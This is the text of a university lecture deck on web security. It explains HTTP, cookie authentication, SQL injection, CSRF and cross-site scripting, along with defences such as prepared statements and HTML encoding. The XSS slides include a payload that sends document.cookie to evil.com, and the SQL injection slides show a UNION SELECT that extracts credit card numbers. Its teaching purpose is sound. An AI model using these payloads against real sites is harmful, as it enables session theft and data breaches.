@Yuan Xue ([email protected]) Web Security Yuan Xue Slides are developed based on many references including What Every Web Programmer Needs To Know

@Yuan Xue ([email protected])

Web Security

Yuan Xue

Slides are developed based on many references includingWhat Every Web Programmer Needs To Know About Security by Googlehttp://code.google.com/edu/submissions/daswani/index.htmlImproving Web Application Security by Microsofthttp://msdn.microsoft.com/en-us/library/ms994921.aspxWeb Security by Dr. Shmatikovhttp://www.cs.utexas.edu/~shmat/courses/cs378_fall07/05webapp.ppt 04


Outline

Overview of HTTP protocolAuthenticationClient Side Cookies Java Scripts

Server Side SQL Injection Cross-site scripting


HTTP: HyperText Transfer Protocol

Hypertext Transfer Protocol (HTTP) is a communications protocol. Its use for retrieving inter-linked text documents (hypertext) led to the establishment of the World Wide Web.Most notably RFC 2616 (June 1999) defines HTTP/1.1, the version of HTTP in common use.HTTP is a request/response standard between a client and a server. A client is the end-user, the server is the web site. The client making a HTTP request—using a web browser, spider, or other end-user tool—is referred to as the user agent. The responding server—which stores or creates resources such as HTML files and images—is called the origin server.


GET /default.asp HTTP/1.0Accept: image/gif, image/x-bitmap, image/jpeg, */*Accept-Language: enUser-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)Connection: Keep-AliveIf-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT

HTTP Request

Method File HTTP version Headers

Data – none for GET

Blank line


HTTP/1.0 200 OKDate: Sun, 21 Apr 1996 02:20:42 GMTServer: Microsoft-Internet-Information-Server/5.0 Connection: keep-aliveContent-Type: text/htmlLast-Modified: Thu, 18 Apr 1996 17:39:05 GMTContent-Length: 2543 <HTML> Some data... blah, blah, blah </HTML>

HTTP Response

HTTP version Status code Reason phrase Headers

Data


HTTP protocol

HTTP is a stateless request/response protocol Each request is independent of previous requests

The advantage of a stateless protocol is that hosts do not need to retain information about users between requests.Web developer need to use alternative methods for maintaining users' states. A common method for solving this problem involves sending and receiving cookies. Server side sessions Hidden variables (when the current page is a form) URL encoded parameters (such as /index.php?

session_id=some_unique_session_code).


Vulnerabilities and Threats

Check out

http://www.microsoft.com/technet/security/current.asp

http://www.ciac.org/ciac/bulletins/j-042.shtml


Example 1

Microsoft Security Bulletin MS07-004A remote code execution vulnerability exists in the Vector Markup Language (VML) implementation in Microsoft Windows. An attacker could exploit the vulnerability by constructing a specially crafted Web page or HTML e-mail that could potentially allow remote code execution if a user visited the Web page or viewed the message. An attacker who successfully exploited this vulnerability could take complete control of an affected system.

Maximum Severity Rating: CriticalRecommendation: Customers should apply the update immediately


Example 2

Microsoft Security Bulletin MS07-050This security update resolves a privately reported vulnerability in the Vector Markup Language (VML) implementation in Windows. The vulnerability could allow remote code execution if a user viewed a specially crafted Web page using Internet Explorer.

Maximum Severity Rating: CriticalRecommendation: Customers should apply the update immediately


Primitive Browser Session

www.e_buy.com

www.e_buy.com/shopping.cfm?

pID=269

View catalog

www.e_buy.com/shopping.cfm?

pID=269&item1=102030405

www.e_buy.com/checkout.cfm?

pID=269&item1=102030405

Check outSelect item

Store session information in URL; easily read on network


Example

User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator

With special URL, user doesn’t need to re-authenticate Reasoning: user could not have not known the special URL

without authenticating first. That’s true, BUT…

Authenticators are global sequence numbers It’s easy to guess sequence number for another user

Fix: use random authenticators

https://www.fatbrain.com/HelpAccount.asp?t=0&[email protected]&p2=540555758

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752


Web Authentication Overview

Strong authentication protocols for web based applications include:

Public key authentication (usually implemented with HTTPS / SSL Client Certificates)

Kerberos or SPNEGO authentication, primarily employed by Microsoft IIS running configured for "Integrated Windows Authentication".

Digest access authentication protocolsWeak cleartext protocols are also often in use:

Basic access authentication scheme HTTP+HTML Form based authentication These weak cleartext protocols used together with HTTPS

network encryption resolve many of the threats that Digest access authentication protocol is designed to prevent.


HTTP Digest Authentication

client serverRequest URL with

GET or POST method

HTTP 401 Unauthorised Authentication “realm”

(description of system being accessed)

Fresh, random nonce

H3=hash(H1, server nonce,

H2)

Recompute H3 and verify

H1=hash(username, realm, password)

H2=hash(method, URL)


Cookies


Storing Info Across Sessions

A cookie is a file created by an Internet site to store information on your computer

BrowserServer

Enters form data

Stores cookie

BrowserServer

Requests cookie

Returns data

HTTP is a stateless protocol; cookies add state

Includes domain (who can read it), expiration, “secure” (can be read only

over SSL)


What Are Cookies Used For?

Cookies are parcels of text sent by a server to a Web client (usually a browser) and then sent back unchanged by the client each time it accesses that server. HTTP cookies are used for authenticating, session tracking (state maintenance), and maintaining specific information about users, such as site preferences or the contents of their electronic shopping carts.

Authentication Use the fact that the user authenticated correctly in the past to make

future authentication quicker

Personalization Recognize the user from a previous visit

Tracking Follow the user from site to site; learn his/her browsing behavior,

preferences, and so on


What Are Cookies Used For?

Cookies are used for Authenticating, Session tracking (state

maintenance) Maintaining specific information

about users, such as site preferences or the contents of their electronic shopping carts.


Cookie Management

Cookie ownership Once a cookie is saved on your computer, only

the website that created the cookie can read it

Variations Temporary cookies

Stored until you quit your browser Persistent cookies

Remain until deleted or expire Third-party cookies

Originates on or sent to another website


Privacy Issues with Cookies

Cookie may include any information about you known by the website that created it Browsing activity, account information, etc.

Sites can share this information Advertising networks 2o7.net tracking cookie

Browser attacks could invade your “privacy”November 8, 2001:

Users of Microsoft's browser and e-mail programs could be vulnerable to having their browser cookies stolen or modified due to a new security bug in Internet Explorer (IE), the company warned today


Storing State in Browser

Dansie Shopping Cart (2006) “A premium, comprehensive, Perl shopping cart. Increase your web

sales by making it easier for your web store customers to order.”

<FORM METHOD=POST ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">

Black Leather purse with leather straps<BR>Price: $20.00<BR>

<INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"> <INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse

with leather straps">

<INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart">

</FORM>

Change this to 2.00

Bargain shopping!


Shopping Cart Form Tampering

Many Web-based shopping cart applications use hidden fields in HTML forms to hold parameters for items in an online store. These parameters can include the item's name, weight, quantity, product ID, and price. Any application that bases price on a hidden field in an HTML form is vulnerable to price changing by a remote user. A remote user can change the price of a particular item they intend to buy, by changing the value for the hidden HTML tag that specifies the price, to purchase products at any price they choose.

http://xforce.iss.net/xforce/xfdb/4621


Storing State in Browser Cookies

Set-cookie: price=299.99User edits the cookie… cookie: price=29.99What’s the solution?Add a MAC to every cookie, computed with the server’s secret key Price=299.99; HMAC(ServerKey, 299.99)

But what if the website changes the price?


Web Authentication via Cookies

Need authentication system that works over HTTP and does not require servers to store session data Why is it a bad idea to store session state on server?

Servers can use cookies to store state on client After client successfully authenticates, server computes

an authenticator and gives it to browser in a cookie Client cannot forge authenticator on his own Example: hash(server’s secret key, session id)

With each request, browser presents the cookie Server recomputes and verifies the authenticator

Server does not need to remember the authenticator


Typical Session with Cookies

client server

POST /login.cgi

Set-Cookie:authenticator

GET /restricted.htmlCookie:authenticator

Restricted content

Verify that thisclient is authorized

Check validity ofauthenticator

(e.g., recomputehash(key,sessId))

Authenticators must be unforgeable and tamper-proof

(malicious client shouldn’t be able to compute his own or modify an existing authenticator)


An example

Idea: use user,hash(user,key) as authenticator Key is secret and known only to the server.

Without the key, clients can’t forge authenticators.

Implementation: user,crypt(user,key) crypt() is UNIX hash function for passwords crypt() truncates its input at 8 characters Usernames matching first 8 characters end up

with the same authenticator No expiration or revocation

[Fu et al.]


Better Cookie Authenticator

Capability ExpirationHash(server secret, capability, expiration)

Describes what user is authorized to

do on the site that issued the cookie

Cannot be forged by malicious user;

does not leak server secret

Main lesson: don’t roll your own! Homebrewed authentication schemes are often

flawed

There are standard cookie-based schemes We’ll see one when discussing IPsec


JavaScript

Language executed by browser Can run before HTML is loaded, before page is

viewed, while it is being viewed or when leaving the page

Often used to exploit other vulnerabilities Attacker gets to execute some code on user’s

machine Cross-scripting: attacker inserts malicious

JavaScript into a Web page or HTML email; when script is executed, it steals user’s cookies and hands them over to attacker’s site


Scripting

<script type="text/javascript"> function whichButton(event) {

if (event.button==1) {alert("You clicked the left mouse button!") }

else {alert("You clicked the right mouse button!")

}}</script>…<body onMouseDown="whichButton(event)">…</body>

Script defines apage-specific function

Function gets executed when some eventhappens (onLoad, onKeyPress, onMouseMove…)


JavaScript Security Model

Script runs in a “sandbox” Not allowed to access files or talk to the network

Same-origin policy Can only read properties of documents and

windows from the same server, protocol, and port

If the same server hosts unrelated sites, scripts from one site can access document properties on the other

User can grant privileges to signed scripts UniversalBrowserRead/Write, UniversalFileRead,

UniversalSendMail


Server Side


SQL Injection

Command injection vulnerability - untrusted input inserted into query or command Attack string alters intended semantics of

command Ex: SQL Injection - unsanitized data used in query

to back-end database (DB)

SQL Injection Examples & Solutions Type 1: compromises user data Type 2: modifies critical data Whitelisting over Blacklisting Escaping Prepared Statements and Bind Variables


SQL Injection Impact in the Real World

CardSystems, credit card payment processingRuined by SQL Injection attack in June 2005

263,000 credit card #s stolen from its DB

#s stored unencrypted, 40 million exposed

Awareness Increasing: # of reported SQL injection vulnerabilities tripled from 2004 to 2005


Attack Scenario (1)

Ex: Pizza Site Reviewing Orders Form requesting month # to view orders for

HTTP request:

https://www.deliver-me-pizza.com/show_orders?month=10


Attack Scenario (2)

App constructs SQL query from parameter:

Type 1 Attack: inputs month='0 OR 1=1' !Goes to encoded URL: (space -> %20, = -> %3D)

sql_query = "SELECT pizza, toppings, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " " + "AND order_month=" + request.getParamenter("month");

SELECT pizza, toppings, quantity, order_dayFROM ordersWHERE userid=4123 AND order_month=10

NormaNormal l SQL SQL

QueryQuery

https://www.deliver-me-pizza.com/show_orders?month=0%20OR%201%3D1


WHERE condition is always true! OR precedes AND Type 1 Attack:

Gains access to other users’ private data!

Attack Scenario (3)

MaliciouMalicious s QueryQuery

SELECT pizza, toppings, quantity, order_dayFROM ordersWHERE userid=4123 AND order_month=0 OR 1=1

All User Data All User Data CompromisedCompromised


Attack Scenario (4)

More damaging attack: attacker sets month=

Attacker is able to Combine 2 queries 1st query: empty

table (where fails) 2nd query: credit

card #s of all users

0 AND 1=0UNION SELECT cardholder, number, exp_month, exp_yearFROM creditcards


Solutions

Whitelisting-based Validation

Input Validation & Escaping

Use Prepared Statements & Bind Variables, etc..


Whitelisting-Based Input Validation

Whitelisting – only allow input within well-defined set of safe values set implicitly defined through regular

expressions RegExp – pattern to match strings against

Ex: month parameter: non-negative integer RegExp: ^[0-9]*$ - 0 or more digits, safe subset The ^, $ match beginning and end of string [0-9] matches a digit, * specifies 0 or more


Escaping

Could escape quotes instead of blacklistingEx: insert user o'connor, password terminator

escape(o'connor) = o''connor

Like kill_quotes, only works for string inputsNumeric parameters could still be vulnerable

sql = "INSERT INTO USERS(uname,passwd) " + "VALUES (" + escape(uname)+ "," + escape(password) +")";

INSERT INTO USERS(uname,passwd) VALUES ('o''connor','terminator');


XSRF: Cross-Site Request Forgery

Same browser runs a script from a “good” site and a malicious script from a “bad” site Requests to “good” site are authenticated by cookies

Malicious script can make forged requests to “good” site with user’s cookie Netflix: change acct settings, Gmail: steal contacts Potential for much bigger damage (think banking)

Prevention: website should embed fresh nonce in every form, check for it on every request Forged requests will have cookie, but not the nonce


XSS: Cross-Site Scripting

victim’sbrowser naive.comevil.com

Access some web page

<FRAME SRC=http://naive.com/

hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.coo

kie) </script>>

Forces victim’s browser to

call hello.cgi on naive.com

with this script as “name”

GET/ hello.cgi?name=<script>win.open(“http://

evil.com/steal.cgi?cookie”+

document.cookie)</script>

hello.cgiexecuted

<HTML>Hello, dear<script>win.open(“http://

evil.com/steal.cgi?cookie=”

+document.cookie)</script>

Welcome!</HTML>Interpreted as

Javascript by victim’s browser; opens window and

calls steal.cgi on evil.com

GET/ steal.cgi?cookie=

E.g., URL embedded

in HTML email

hello.cgi


XSS is a form of reflection attack User is tricked into visiting a badly written website A bug in website code causes it to display the

attack script and the user’s browser to execute arbitrary operations contained in the attack script

Can transmit user’s private data to attacker E.g., encode it in a URL request to attacker’s site

Can change contents of the affected website Show bogus information, request sensitive data

Can cause user’s browser to attack other websites

XSS Risks


Hide script in user-created content Social sites (e.g., MySpace), blogs, forums, wikis

When visitor loads the page, webserver displays the content and visitor’s browser executes script Many sites try to filter out scripts from user

content, but this is difficult (example: samy worm)

Another reflection trick Some websites parse input from URLhttp://cnn.com/login?URI=“>><script>AttackScript</script> Use phishing email to drive users to this URL Similar: malicious DOM (client parses bad URL)

Where Malicious Scripts Live

Attack code does not appear in

HTML sent over network


Scripts embedded in webpages Same-origin policy doesn’t prohibit

embedding of third-party scripts Ad servers, mashups, etc.

“Bookmarklets” Bookmarked JavaScript URL javascript:alert(“Welcome to paradise!”) Runs in the context of current loaded page

Other Sources of Malicious Scripts


Preventing injection of scripts into HTML is hard! Blocking “<” and “>” is not enough Event handlers, stylesheets, encoded inputs (%3C),

etc. phpBB allowed simple HTML tags like <b> <b c=“>” onmouseover=“script” x=“<b ”>Hello<b>

Any user input must be preprocessed before it is used inside HTML In PHP, htmlspecialchars(string) will replace all

special characters with their HTML codes ‘ becomes ' “ becomes " & becomes &

In ASP.NET, Server.HtmlEncode(string)

Preventing Cross-Site Scripting

Documents

@Yuan Xue ([email protected]) Web Security Yuan Xue Slides are developed based on many references including What Every Web Programmer Needs To Know